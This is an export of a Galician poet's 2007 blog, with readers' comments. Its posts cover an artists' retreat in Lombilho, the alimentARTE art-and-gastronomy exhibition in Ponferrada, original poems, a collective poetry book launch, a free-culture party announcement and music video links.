Rematou o encontro-convivência-experiência de artistas em Lombilho, nas montanhas de Ponferrada, organizado e coordenado por Luis Gómez Domingo. Forom seis dias bem aproveitados, nos que as 13 pessoas que por aí andivemos pudemos trabalhar, apresentar as nossas propostas e intercambiar experiências com outros companheiros. As e os plásticos, Belen, Sónia, Mónica, Eduardo, Manolo, Julián e Jose, pintarom o que quigerom, e os nom-plásticos (Reme, Roberto, Federico e este que escreve), figemos o que pudemos...
Entre as ceias, as comidas e os cafés, pudemos charlar, conhecermo-nos, e explicar formas e métodos de trabalho, mas também formas e métodos de vida, sempre tam variada e diversa.
Na noite da sexta-feira, depois da ceia, realizamos um "happening" (que a saber bem o que significa essa palavra). Toda umha "experiência Lombilho": um círculo de treze pequenos lumes, um por cada umha das pessoas que participavamos no encontro (para além dos e das artistas citadas, Luis e Lupi), realizado por cada um/umha de nós, no que também se queimarom prantas aromáticas, e o que cada quem decidiu botar ao lume, e que serviu de abono para as sementes que previamente se tinham enterrado.
E depois, ainda houvo mais interacçom, com a queimada que figemos, e saboreamos, ao calor do lume que seguimos a alimentar, e da companhia e as cançons, sobre todo em boca de Lupi e Roberto, que amenizarom a noite. Pouco a pouco, foi-se marchando a gente, mas os últimos, ainda resistirom até bem entrada a madrugada.
E todo isto, e muitas outras cousas que aqui nom conto e que ficarám na memória de cada quem, no estudo de Luis, que abriu as suas portas para que livremente, puderamos ocupá-lo para trabalhar. Umha iniciativa como esta nom poderia sair adiante sem umha pessoa como ele. Desde aqui, o agradecimento mais sincero.
Nos próximos dias, promento subir algumhas das imagens desta "Experiência Lombilho". Aproveito para saudar a algumha das pessoas participantes, que prometerom visitar este blog.
Saúde e avante toda!
----- COMMENT: AUTHOR: monica sardiña [Visitante] DATE: Sat, 28 Jul 2007 17:46:46 +0000 URL:Querido IGOR:
Uno no sabe cuando ocurrirá…pero cuando ocurre no cabe la menor duda.
Personas encantadoras , que con encanto atrapan……y así me dejé llevar , en Lombillo , encantada por todos vosotros………Repetiré.
Bicos dende Tenerife
Mónica
Para rir um pouco.
Alguem tivo a, genial, ideia de confrontar vários ritmos "modernos", com um baile "clássico", o "charleston". Aqui tendes o resultado da mescla do mítico "Sarri Sarri" dos Kortatu com este baile.
O Charleston é, di a wikipedia, umha dança surgida na década de 1920 pouco depois da Primeira Guerra Mundial, sendo um divertimento dos cabarés, onde as mulheres dançavam e mostravam mais as pernas porque as saias eram mais curtas e tinham o cabelo "à garconne".
[youtube]iiK1hN2DE9Y[/youtube]
O charleston, acrescenta a wikipedia, é umha variedade do "foxtrot", de grande sucesso nos Estados Unidos na decada de 20. De ritmo frenético e alegre, caracteriza-se pola supremacia da secçom de vento sobre os demais instrumentos da orquestra.
O baile é rapidíssimo, e require grande velocidad de pes e nom pouco entusiasmo.
O que vem demostrar este video, esta brincadeira, é que a música, os ritmos, os bailes, venhem de algum lado, tenhem umha história, um passado, rastreável. E o caminho que vai, por exemplo, do charleston ao ska é mais pequeno do que pode parecer.
No youtube, tedes as outras versións possíveis, ou impossíveis:
Em versom daft punk
[youtube]339ixMtHrVk[/youtube]
Em versom Jumpstyle
[youtube]HP6KGpOVvBk[/youtube]
E ainda se seguides a mirar, veredes algumhas outras.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Thu, 19 Jul 2007 20:43:27 +0000 URL: http://http//:www.tangaranhovermelho.blogspot.comContam que o ska vem de um defecto técnico: o sinal das emisoras norteamericanas chegava entrecurtado a Jamaica e aló faziam versons dos éxitos americanos do soul tal como sonavam nos seus aparelhos de rádio…
----- -------- AUTHOR: Lugris TITLE: Essas luzes que me rodeam BASENAME: essas_luzes_que_me_rodeam DATE: Mon, 16 Jul 2007 17:16:10 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Palavras nas pedras TAGS: ----- BODY:Da série "Palavras nas pedras", umha primeira entrega.
Em Lombilho, intentaremos ampliar esta série, com os desenhos, as fotos e as imagens das e dos meus companheiros.
Essas luzes que
me rodeam é o lume
da terra
Nom existe mais que
o caminho
O que vives é a viagem
Estou confuso
e nom escuito mais
que o silêncio iluminando
esta noite
cheia de palavras
Arder
é a palavra
que procuras
letras nas pedras….
o soporte firme pra dulzura
non hai millor definición de poesía
Haverá um par de semanas que me chamou Remédios, a directora da Galeria DOSMILVACAS.arte, de Ponferrada, para me propor participar num encontro de artistas que, por segundo ano, se celebra em Lombilho, umha pequena aldeia do concelho de Ponferrada, organizado polo pintor berzianos Luis Gómez Domingo.
Este ano, pensou o organizador em contar com artistas doutras disciplinas diferentes da pintura, que foi o que congregou aos e às participantes do ano passado, e contando com a colaboraçom da Galeria, apostou pola participaçom de pessoas doutras disciplinas.
E assim, entre os dias 17 a 21 de Julho, 11 pessoas, das quais 6 som pintores/as (3 homens e 3 mulheres) e outras cinco, pessoas que participaram no encontro desde a videocreaçom, a fotografia, a poesia e a performance, conviviremos, comeremos, beberemos, falaremos e trabalharemos em Lombilho.
Das cinco pessoas que nom nos dedicaremos à pintura, quatro (Roberto Sanz, Federico Ariel, Reme Remédios e um servidor), trabalharemos individualmente e em conjunto para criar umha obra colectiva. Um experimento. Umha oportunidade. Umha experiência.
Podedes ver aqui como o Diário de Leom falava do tema.
Já vos contarei que tal foi todo.
Há umha certa luz incompreensível na distáncia
como umha porta de cristal fechada
uma palavra no abismo da língua
tócate, sen sabelo, esvara
diluída entre a memoria esfameada.
Igor Lugris
Eugénio Outeiro
Oscar Mourave
lara do ar
Félix R. Míguez
Levo vários dias a escuitar a ediçom publicada pola Regueifa do livro da Maria Lado, Berlim.
Este primeiro "audiobook" da netlabel, oferece-nos a possibilidade, a mais que recomendável e interessante possibilidade, de escuitarmos a voz da Maria Lado a recital os seus versos com a música de Fanny+Alexander, composta especialmente para a ocasom.
Para além de podermos escuitar, também podemos descarregar-nos, de balde, o livro em Pdf., cousa que ajudará em muito à distribuiçom deste livro, editado, até onde eu sei, polo Correo Galego há uns quantos messes, e que nom é nada fácil de conseguir.
A sua escuita, a sua leitura, é umha pequena ilha agradável no meio dumha literatura tam pouco atractiva como a que nos rodeia. A voz da Maria, a música de Fanny+Alexander, transportam-nos, desde a distáncia ou a cercania, desde o sonho ou a consciência, desde a melancolia e as lembranças, às agradáveis e utópicas ruas, bares, lugares dumha Compostela que, em algum momento das nossas vidas, todos, todas, temos vivido. Sem complexos.
Sem complexos. Como di Mario Regueira na apresentaçom do livro: "Ás veces unha voz de muller segue a subvertir papeis na poesía contemporánea, e consegue acadar centralidade para cantar á fatalidade e a tenrura do amor sen complexos". Sem complexos.
Maria sigue, como desde a sua primeira visom, a surpreender-nos. Se queredes gozar com a palavra, com os versos, com a poesia, com a música,... dedicade uns minutos a baixar-vos Berlim, formato musical e pdf. Paga a pena!!!
----- -------- AUTHOR: Lugris TITLE: Que fas esta sexta? BASENAME: que_fas_esta_sexta DATE: Thu, 05 Jul 2007 06:26:54 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena TAGS: ----- BODY:Reproduzo informaçom, interesnte, chegada à minha caixa de correios. Penso que esta sexta nom vou poder estar em Compostela, ou quando menos nom a essas horas. Mas se pudera, ali estaria.
Pola cultura livre!!! Contra os direitos capistalistas "de autor"!!! DEFENDE A CULTURA: cópia todo o que podas, todo o que saibas, todo o que queiras!!!
Que fas este venres?, achégate a Compostela e...
POETAS DO MUNDO: UNÍDEVOS
Unídevos á festa que en homenaxe ao pirateo e á cultura libre organiza o Cineclube de Compostela para conseguir uns cartiños e pagarlle a proxección de Terra Negra, de Ricardo Íscar, ao produtor-cancodrilo Pablo Llorca ? Cámara Oscura Productions. (se alguén precisa máis datos sobre o asunto: www.cineclubedecompostela.blogaliza.org tamén lle podemos enviar copia da sentencia)
A festa vai ser o venres 6 de xuño no Centro Social O pichel, rúa santa clara 21, Compostela. Alí terá lugar, como segundo acto do día, un recital de cousas alleas: isto é: cada un de vos fica convidado a ler un texto de outra persoa: poñamos un folio DINA4 de máximo. Un poema de quen queirades, de quen vos pete, pero voso non. Se aceptades este convite confirmade asistencia e amais, (e isto é imprescindíbel) dicídenos como moi tarde un día antes a que autor/a ides recitar.
Se queredes convidar a alguén podedes facelo, máis asegurade que envíen os datos sobre a autoría do texto e que sexan pirataaasss!!!
Bicos grandes e reproducíbeis.
********************++
Por fin temos argallado o programa da festa pola cultura libre, este venres 6 a partir das 19:00 horas no Pichel:
WE?RE ONLY IN IT FOR THE MONEY
VENRES 6 DE XULLO. A PARTIR DAS 19:00
O PICHEL
Proxeccións:
House at Pooneil Corners [One PM] (House at Pooneil Corners, Jean-Luc Godard, EUA, 1968, 8 min)
O tigre saltou e matou, mais vai morrer?, vai morrer? (El tigre saltó y mató, pero morirá?, morirá?, Santiago Álvarez, Cuba, 1973, 16 min)
Comida (Jídlo, Jan Svankmajer, Checoslovaquia-Reino Unido, 1992, 14 min)
Poetas piratas
Karaoke lírico
Teatro:
Berrobambán Teatro
Clara Gayo (O brazo armado da SGAE)
Música:
O Leo i Arremecághona!!!
Ataque Escampe
Deluxe Non
Dj. Marx & Dj. Engels
(Permítese a reprodución, copia, transformación e difusión, total ou parcial, por calquera medio e en calquera sitio)
Subo as ligaçons a duas notícias aparecidas nos meios sobre o Encontro Artístico Literário e Gastronómico "alimentARTE", que estamos a celebrar em Ponferrada, na galeria DOSMILVACAS.arte.
A primeira, a entrevista que H. Vixande lhe fai a Reme, Reme Remédios, Remédios Carrera, Remeditos, na contracapa da Nosa Terra nesta semana: ?Cociñar e xantar é igual que facer un happening?, di a nossa galerista.
A segunda, o artigo de M. Cuenya no Diario de Leom de hoje.
Seguimos adiante!
----- -------- AUTHOR: Lugris TITLE: perdom BASENAME: perdom DATE: Mon, 02 Jul 2007 06:36:22 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: TAGS: ----- BODY:Pedirom-lhe que explicara como se pedia perdom
e non soubo mais que dizer que
com P de paciência
com E de esperança
com R de remedios
com D de desejo
com O de olhadas e
com M de mais nada
E assim
em silêncio
foi-se indo
sabendo que o futuro era todo porvir
Continuamos com alimentARTE
Esta semana propomos: cristalizaçom do vinho e ceia.
Na quinta-feira 28 de Junho, às 21,00h, veremos ao vivo como se produz a cristalizaçom do vinho.
Ricardo Pérez Palacios contará-nos em que é que consiste o processo de investigaçom que desenvolve em colaboraçom com Cecilia Pérez e Ana Rosa Cazón seguindo a filosofia e método da agricultura biodinámica.
Ricardo, oferece-nos provar o vinho da sua colheita elaborado a partir desta filosofia.
Para o Sábado 30 de Junho, a partir das 21,00h., convidamos-te a participar em 'adivina quêm vem esta noite'.
Trata-se dumha ceia elaborada com os pratos artísticos que cada um de vós aportedes. Convocamos para umha ceia-arte às pessoas que traiam un prato elaborado por elas mesmas; convidamos-vos a que depositedes nel tanta arte como seja posssível. Com o que aportemos realizaremos umha instalaçom tam efémera como tardemos em degustar.
Si che apetece vir liga para o 690 329 885 ou para o 658 094 877, passa pola galeria (Av. Astorga, 7 Ponferrada), ou escreve a ilugrisarrobahotmail.com ou dosmilvacas.artearrobahotmail.com.
Esperamos-te em DOSMILVACAS . a r t e Av. de Astorga, 7 Ponferrada. O Bierzo.
Boa e saborosa semana!!!
Pois nom vou estar, mas espero que os vossos bandulhos e os vossos cérebros fiquem bem agradecidos…
----- -------- AUTHOR: Lugris TITLE: De Torino BASENAME: de_torino DATE: Mon, 18 Jun 2007 12:05:15 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Aproveitando uns compromisos familiares, estou umha semana (menos, 6 dias), em Torino, que me serviram, entre outras cousas, para descongestionar a cabeça, dedicar-me a pensar e a nom-pensar, escrever, descansar, e, por suposto, andar pola vida de guiri, que de quando em vez nom está nada mal. Desculparam vostés que nestes dias pouco visite este bar.
A inauguraçom de "aliementARTE", foi um grande sucesso. Entre as pessoas que lá estavamos, destaco o esforço realizado pola Elvira (e família, Miguel e Sara) para estar com nós essa tarde, e apresentar-nos em pessoa o seu poema obxecto "Sopa de Letras".
Remédios, Remeditos, ocupou-se de todo, como sempre, e demostrou aos mais incrédulos que o "mandala produtos berzianos" era possível (e saboroso). Esta mulher é, entre outras cousas, umha caixinha de surpresas...
É umha mostra colectiva mais que recomendável. Plural, variada, aberta,... é impossível que algumha pessoa entre tanta diferência nom atope umha imagem, umha ideia, um conceito, que lhe pareza interesante, atractivo, útil.
A post-inauguraçom foi, para mim, curta, porque à 1.30 da madrugada partia, em autocarro cara a capital do Império pequeno, para colher o aviom que me trasladou até Milano, para depois chegar, novamente em autocarro, até Torino. Ainda assim, curta mas intensa.
Reme, Fede, e os espontáneos Bruno Santim e um seu colega, a despedir-me ao pé do autocarro. Umha foto no fotomatom. Bicos, apertas, mais bicos...
Lembrai que "alimentARTE" sigue avante. Esta semana, proxecçom de curtas, com a colaboraçom da Escola de Cinema de Ponferrada. E a próxima semana, charla sobre cristalizaçom do vinho. E o dia 30, a Grande Ceia!!! Veremo-nos lá.
(Um novo proxecto de livro de poemas começa a tomar forma. Um pequeno giro na produçom, e a colaboraçom dumha mulher besta, umha mulher animal, vital, que pom forma aos versos. Mais informaçom nas próximas semanas e/ou messes).
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 20 Jun 2007 17:05:39 +0000 URL: http://www.estibalizes.blogspot.comConque aquí estabas. Quero dicir, aí. Quero dicir, aquí.
Feliz viaxe a Torino e feliz performance de guiri. O que máis comprace de ser guiri e chamar guiris aos outros e apartalos a cobadazos. E queixarse dos xaponeses, que nunca deixan ver nada e van queimar Europa sutilmente a base de flashes.
O de alimentARTE pinta bárbaro.
E coidado coa xestación dese novo libro de poemas. Teño escoitado que ás veces dan patadas polas noites. Moita sorte.
[ o mellor daquel estrambótico encontro en Ponferrada, cheo de desatinos, desencontros e máis cousas que empezan por des-, como desastre, foi atoparnos contigo]
Faille aí un cariño a Xende da miña parte, e lembranzas para Noelia.
----- -------- AUTHOR: Lugris TITLE: alimentARTE, por fim!!! BASENAME: alimentarte_por_fim DATE: Thu, 14 Jun 2007 23:37:24 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: alimentARTE TAGS: ----- BODY:Manham, Sexta-feira, 15 de Junho, às 21'30h., abre as portas o encontro artístico, literário e gastronómico que, baixo o nome de "alimentARTE", se celebrará na Galeria DOSMILVACAS.a r t e (Avd. de Astorga, 7, baixo) de Ponferrada. Umha mostra colectiva na que participam perto de 30 artistas, e que apresentaram as suas obras na sala dirigida por Remédios Carrera.
Este encontro, que oferece umha visom ampla, plural, colectiva e diversas sobres as relaçons entre o mundo da arte, a literatura e a gastronomia, estará aberto até o 19 de Junho.
À proposta enviada pola Galeria e por este blog a diversos artistas, galegos/as e berzianos/as, foi aceitada por um amplo numero de pessoas que agora nos oferecem a sua versom, a sua visom, tendo como resultado umha coral de miradas, umha mostra lúzida e mestiza, que, de variadas perspectivas e técnicas, da pintura à poesia, passando pola fotografia, a escultura ou a instalaçom, refletem sobre as conexons e interrelaçons possíveis, e às vezes mesmo impossíveis, entre os mundos propostos.
A mostra, que se inaugurará contando com a presença de grande parte dos e das autoras, conta com a colaboraçons de diversas entidades, relacionadas com a gastronomia e/ou a arte, que fam possível as interesantes actividades paralelas previstas dentro dos dias que esteja a exposiçom aberta. Carnicas bolero, o pub La Escandalera e a Escola de Cinema de Ponferrada som também parte integrante deste encontro, que ante todo se pretende aberto, participativo e lúdico. Um espaço de encontro para e por os e as artistas e o público em geral.
Baldo Ramos, Benjamin G. Laiz, Bruno Santín, Callejo, Chn, Cocky, Concha Rousia, Cristina González, Eva Moreno Herrera, Elvira Ribeiro Tobio, Federico Segura, Gloria Villaroel, Guillermo Muriel, Igor Lugris, Jayme Filho, Lolo Serantes, Luis Gómez Domingo, Mónica Doldán, Paco Arias, Patere, Raquel Montero, Reme Remedios, Ricardo Fernández, Ricardo Pérez Palacios, Roberto Sanz e Talita Acosta som as pessoas responsáveis das obras, que nos abrem as portas para adentrarmo-nos, com todos os sentidos possíveis, com todos os sentidos que sejamos capazes de levar conosco, a um mundo, a uns mundos, como dim os organizadores/as, "próximos e longínquos, imprescindíveis e necessários".
Só nos resta dizer: Bom proveito!!!
----- -------- AUTHOR: Lugris TITLE: Lamatumbá em Ponferrada!!! BASENAME: lamatumba_em_ponferrada DATE: Tue, 05 Jun 2007 23:04:31 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Já estám as ruas de Ponferrada cheias de cartazes anunciando a presença de Lamatumbá o dia 16 em Ponferrada.
Eu nom poderei estar, porque esse mesmo dia estou de viagem, e estarei fora de Ponferrada por umha semana inteira. Mas recomendo-lhe a todo o mundo que nom se perda umha das melhores actuaçons que se podem ver.
[youtube]S5KUdwSoD9w[/youtube]
----- -------- AUTHOR: Lugris TITLE: 10 x 10 em Compostela BASENAME: 10_x_10_em_compostela DATE: Sat, 02 Jun 2007 17:03:06 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau TAGS: ----- BODY:Há mais dum ano que o projecto do livro colectivo de poesia anda por aí. Por fim, está já nas ruas, nos andeis das livrarias, nas bancadas de materiais de centros sociais, locais sociais, bares, pubs,...
Um livro colectivo, onde 10 autoras, 10 autores, aportam os seus versos, as suas palavras, a sua poesia, para comemorar o X Aniversário de Primeira Linha.
O próximo Sábado, 9 de Junho, celebraremos a sua apresentaçom em Compostela.
Artur Alonso Novelhe, Suso Bahamonde, Maria Lado, Kiko Neves, Carlos Quiroga, Baldo Ramos, Concha Rousia, Sechu Sende, Ramiro Vidal e quem isto escreve, aportamos os nossos textos, Abrente Editora, a estrutura editorial de Primeira Linha, editou o livro, e o Centro Social Henriqueta Outeiro de Compostela acolherá a apresentaçom do volume.
A seguir, reproduzo na integra a nota de imprensa que a Abrente Editora enviou aos meios de comunicaçom, nom sem antes convidar-vos a participar do acto, e a encaminhar esta informaçom a todas as pessoas interessadas.
Vemo-nos lá!
APRESENTAÇOM DO LIVRO COLECTIVO DE POESIA ?DEZ POR DEZ?
Sábado 9 de Junho, 20.00h.
Centro Social Henriqueta Outeiro
(R/ Quiroga Palácios, 42, rés-do-chao, Compostela)
Com a participaçom da e dos autores:
Artur Alonso Novelhe, Suso Bahamonde, Maria Lado, Igor Lugris, Kiko Neves, Carlos Quiroga, Baldo Ramos, Concha Rousia, Sechu Sende e Ramiro Vidal
Coincidindo com o X Aniversário de Primeira Linha (www.primeiralinha.org), a sua estrutura editorial, Abrente Editora, decidiu solicitar a dez poetas umha colaboraçom para celebrarmos esse aniversário. Eis o resultado: o volume colectivo ?10 x 10?, que fai o número 1 da sua colecçom literária Cabeça de Égua.
Com este título estreamos a nossa nova colecçom, destinada à publicaçom de textos literários. A literatura galega, os e as escritoras galegas, tenhem umha longa tradiçom de intervençom sóciopolítica e de colaboraçom com diversas entidades populares. Nessa tradiçom é que pretendemos que se insira nom só este livro, mas o conjunto da colecçom que agora começa.
Artur Alonso Novelhe, Suso Bahamonde, Maria Lado, Igor Lugris, Kiko Neves, Carlos Quiroga, Baldo Ramos, Concha Rousia, Sechu Sende e Ramiro Vidal, as dez pessoas que aceitarom o nosso convite e participam neste volume, som representativas do actual momento que a poesia galega, e em geral a nossa literatura, está a viver. Diferentes idades, diferentes ópticas, diferentes poéticas, que nos mostram a vitalidade e, ao mesmo tempo, a utilidade, da poesia neste século XXI que estamos a começar.
Somos conscientes de que a participaçom de poetas reintegracionistas, junto com outros nom-reintegracionistas, num volume colectivo publicado integralmente no padrom proposto pola AGAL, causará supresas. Queremos daqui agradecer publicamente a todas elas e todos eles a sua entusiasta participaçom; e, especialmente, àquelas e àqueles que nom costumam utilizar o padrom reintegrado, a licença dada para publicarmos na norma da AGAL os seus textos. A maior parte dos poemas que apresentamos som inéditos, muitos deles é a primeira vez que vem a luz pública, tanto em papel como em qualquer outro suporte.
Situada entre as comarcas da Cabreira e o Berzo, com 2135 metros, Cabeça de Égua é o nosso particular Everest, o mais elevado cume do País, o teito da Galiza. Ao darmos este nome à nossa colecçom literária, pretendemos contribuir para superar o desconhecimento que umha boa parte das galegas e dos galegos possuem dumha naçom negada por mais de 500 anos de assimiliaçom, ao ponto de quererem amputar-nos umha boa parte do território, onde, além do mais, a resistência popular armada à ditadura franquista escreveu algumhas das suas páginas mais brilhantes.
----- -------- AUTHOR: Lugris TITLE: alimentARTE avança BASENAME: alimentarte_avanca DATE: Thu, 31 May 2007 13:21:47 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: alimentARTE TAGS: ----- BODY:O Encontro artístico, literário e gastronómico que estamoa a argalhar, sob o nome de "alimentARTE", caminha cara adiante. Por agora, já temos perto de 20 artistas, que anunciarom a sua participaçom, de diversas disciplinas, diferentes ópticas, distintos formatos.
Baldo Ramos, Benjamin G. Laiz, Bruno Santin, Callejo, CHN, Cocky, Cristina González, Elvira Ribeiro Tobio, Eva Moreno Herrera, Gloria Villaroel, Guillermo Muriel, Lolo Serantes, Luis Gómez Domingo, Mónica Doldán, Paco Souto, Patere, Raquel Montero, Reme Remedios, Ricardo Fernández, Roberto Sanz, Talita Acosta,... e este que vos escreve, e algumhas outras pessoas que tenhem que concretar a sua colaboraçom, estaremos presentes, para demostrar que a arte alimenta, e nom só o espírito, e que a comida enche, e nom só o bandulho!
O dia 15 de Junho, às 21.30h. inauguramos!
Contamos contigo!
[gvid]-7399630610169788180[/gvid]
----- COMMENT: AUTHOR: Fabiano [Visitante] DATE: Tue, 04 Sep 2007 04:24:15 +0000 URL: http://www.agal-gz.orgEstá maravilhoso esse documentário e digo deveria ser espalhado pelos blogs brasileiros e portugueses para deixar conhecer a situação da língua galega (portuguesa) na Galiza.
----- COMMENT: AUTHOR: oscar de lis [Visitante] DATE: Wed, 30 May 2007 16:42:13 +0000 URL: http://galizadebate.blogspot.com/Impressionante a rapaça coreana! Esse é o efeito do Voluntariado da Língua e dos grupos e associações que promovem o galego na rua, onde deve fazer-se, posto que a política lingüística deste país é abertamente hostil ao galego (e, se nom, veja-se o caso de Marisol Lopez e o Novas da Galiza). Grande trabalho.
----- COMMENT: AUTHOR: Oscar [Visitante] DATE: Tue, 29 May 2007 16:07:31 +0000 URL: http://http.//www.finisterra.blogger.com.brExcelente documentário, equilibrando-se entre duas visões, uma pessimista que vê a redução do galego à uma língua residual e outra diametralmente oposta, que projecta o galego para fora da Galiza. “Eu ainda não podo falar galego, mas como gosto de lê-lo e sobretudo ouvi-lo". O galega são os seus habitantes, homens e mulheres. Os do mercado, das escolas, das feiras, das ruas e os seus/suas poetas.
----- -------- AUTHOR: Lugris TITLE: Ainda caminha o cadáver... BASENAME: ainda_caminha_o_cadaver DATE: Sun, 20 May 2007 18:28:48 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Um cadáver na rede TAGS: ----- BODY:Isto é o que di, sobre o nosso Cadáver na Rede, Armando Requeixo no seu artigo sobre Maria Marinho "Aventura Courelá. Unnha poeta mancomunada", aparecido no Faro da Cultura do Faro de Vigo da semana passada:
"Ora ben, o espírito lúdico e creativo
da aventura courelá segue entre
nós e o seu herdo foi recollido polos
poetas máis novos, ducias dos
cales participaron na recente iniciativa
de cibercadáver proposta
en Rede (www.agal-gz.org/blogues/
index.php?blog=10) por Igor
Lugrís, que frutificou xa en preto
dun cento de composicións, logo
tamén abertas ao público no Expo-
Cadáver que a finais de marzo
se inaugurou en Ponferrada.
Velaí como nunca máis vivo estivo
este cadáver, que segue a ser exquisito
para calquera padal literario e
que confirma, como escribía naquel
afastado 1966 M. Mariño, que
?lúa sempre hai/ o que fai falla é a
luz que non se apaga anos dela?."
Já sabemos que estamos em época eleitoral. Que se lhe vai fazer...
Cá no Bierzo, como praticamente na totalidade da Galiza, nom há opçons nas que votar. Se vivira em Ponte Areas, nom teria dúvida algumha. Mas... nom é possível. Vivendo no Bierzo nom há opçom, e o voto em branco, nulo ou abstençom vai ser a única via para todas aquelas pessoas que pensamos que um outro mundo, umha outra Galiza e um outro Bierzo é possível.
Mas ainda assim, quero oferecer, aproveitando a campanha eleitoral, umha pequena intervençom política. Se puder participar num acto político, recitaria estes versos de Roque Daltom.
Podiam estar escritos hoje mesmo, mas já tenhem décadas. Podiam estar escritos no Vigo de hoje, ou na Compostela de hoje. Mas nom, estám escritos no Salvador de há anos. Mas conservam a sua actualidade.
Cá vai umha modesta traduçom à nossa língua, e, depois, o texto original. Duvido que algum candidato ou candidata queira empregá-lo na sua campanha, nos seus discursos, nas suas intervençons para explicar o que vam e nom vam fazer.
E ti, já sabes: se vives em Ponte Areas, vota. Se vives em Vigo, vota. E, se nom, pois coma mim: a aguardar tempos melhores.
PARÁBOLA A PARTIR DA
VULCANOLOGIA REVISIONISTA
O volcam de Izalco,
como volcam,
era ultra esquerdista.
Botava lava e pedras pola boca
e fazia ruído e fazia tremer
atentando contra a paz e a tranqüilidade.
Hoje é um bom volcam civilizado
que coexistirá pacificamente
com o Hotel da Montanha do Cerro Verde
e ao qual poderemos por-lhe no foucinho
fogos artificiais como os que botam
os deputados populares.
Volcam para executivos
e até para revolucionários e sindicalistas
que sabem quedar-se no seu lugar e nom som calenturientos,
já nom será o símbolo dos tolos tonantes guerrilheiristas
que som os únicos que anhoram os seus ex-abruptos geológicos.
Proletários respeitaveis e mansos do mundo,
o Comité Central convida-vos
a aprender a liçom que dá o volcam de Izalco:
o fogo passou de moda,
por quê teremos entom nós de querer levá-la
dentro do coraçom?
Roque Dalton
PARÁBOLA A PARTIR DE LA
VULCANOLOGÍA REVISIONISTA
El volcán de Izalco,
como volcán,
era ultraizquierdista.
Echaba lava y piedras por la boca
y hacía ruido y hacía temblar,
atentando contra la paz y la tranquilidad.
Hoy es un buen volcán civilizado
que coexistirá pacíficamente
con el Hotel de Montaña del Cerro Verde
y al cual podremos ponerle en el hocico
fuegos artificiales como los que echan
los diputados populares.
Volcán para ejecutivos
y hasta para revolucionarios y sindicalistas
que saben quedarse en su lugar y no son calenturientos,
ya no será el símbolo de los locos tonantes guerrilleristas
que son los únicos que añoran sus ex-abruptos geológicos.
Proletarios respetables y mansos del mundo,
el Comité Central os invita
a aprender la lección que da el volcán de Izalco:
el fuego ha pasado de moda,
¿Por qué habremos entonces de querer llevarla nosotros
dentro del corazón?
Roque Dalton
----- -------- AUTHOR: Lugris TITLE: alimentARTE BASENAME: alimentarte DATE: Wed, 09 May 2007 22:15:55 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: alimentARTE TAGS: ----- BODY:Encontro artístico literário e gastronómico em Ponferrada
Conjuntamente desde este blog e desde a Galeria de Arte Dosmilvacas.arte de Ponferrada, estamos a organizar um Encontro Artístico Literário e Gastronómico baixo o título "alimentARTE".
A ideia consiste em que um grupo de pessoas, vinculadas com algumha das actividades em questom (bem com a arte, bem com a literatura ou bem com a gastronomia) ou com todas elas, participe numha exposiçom colectiva que terá lugar entre os dias 15 de Junho e 19 de Julho deste ano 2007.
Por umha banda, os e as artistas e escritores/as que participem, deveram aportar obras, com completa, absoluta e total liberdade de estilo, técnica, disciplina (pintura, escultura, fotografia, videocreaçom, música, Dj, performance, net-art, banda desenhada, poesia, narrativa, teatro...), que guardem relaçom com a gastronomia e o seu mundo: as comidas, os alimentos, as bebidas, etc...
Por outra banda, estamos a procurar também a participaçom de gentes do mundo da gastronomia, ou que gostem da gastronomia, da cozinha e do prazer de cozinhar, para que também aportem as suas criaçons culinárias sempre relacionadas com o mundo da arte e a literatura. Também neste campo, e possibilidade de participaçom está aberta com completa, absoluta e total liberdade.
Implementando esta exposiçom, realizaremos umha série de actividades, entre as que destaca umha ceia elaborada polos participantes e aberta, por suposto, a todas as pessoas que aportem algum elemento a esta exposiçom, e da que informaremos em quanto tenhamos data. O lugar já o sabemos, pois será na mesma Galeria de Arte.
De momento, já contamos com a participaçom de vários artistas relacionados e habituais da Galeria: Bruno Santín, Mónica Doldán, Roberto Sanz, Guillermo Muriel, Luis Gómez Domingo, Lolo Serantes, Chn, Cocky, Sarai Fernández, Patere, Reme Remedios,...
Quero que te consideres convidada/o a participar, se assim o desejas nesta exposiçom colectiva. Para fazê-lo, só terás que escrever-me um correio explicando-me com que tipo de aportaçom participarás e as suas carácterísticas técnicas (obra, elementos, medidas aproximadas,etc...), e como a farás chegar a Ponferrada. No caso de participares, gostaríamos de poder contar com a tua presença no dia da inauguraçom, e nas outras actividades que levemos adiante, especialmente a ceia.
Também gostaríamos de que lhe figeras chegar este anúncio a todas as pessoas que penses podam estar interessadas em participar nesta exposiçom.
----- -------- AUTHOR: Lugris TITLE: Escatumbararibe BASENAME: escatumbararibe DATE: Thu, 03 May 2007 15:27:29 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Cousas por aí TAGS: ----- BODY:Paga a pena. Xende nom era quem de tirar os olhos das imagens. O seu pai também nom.
[youtube]ft6Kg7S-LBE[/youtube]
Escatumbararibê faz parte do livro/CD/CD-Rom "Lenga laLenga: jogos de mãos e copos", publicado no Brasil pela Editora Ciranda Cultural, em Portugal pela Foco Musical e em vias de ser lançado no Uruguai pelo selo Papagayo Azul. A letra coloco abaixo. Boa brincadeira!
Escatumbararibê
Zum Zum Zum
Escatumbararibê
Escatumbararibê
Escatumbatinga
Auê sarubê abá
Escatumbararibê
Escatumbatinga.
Lenga la lenga: jogos de mãos e copos
Viviane Beineke & Sérgio Paulo Ribeiro de Freitas
Canção tradicional brasileira
Jogo de copos: Viviane Beineke
Vozes: Vanilda L. F. Macedo Godoy e João Vinícius dos Santos
Ciranda Cultural (Brasil)
Foco Musical (Portugal)
www.lengalalenga.com.br
Maravilhoso o trabalho de voces.
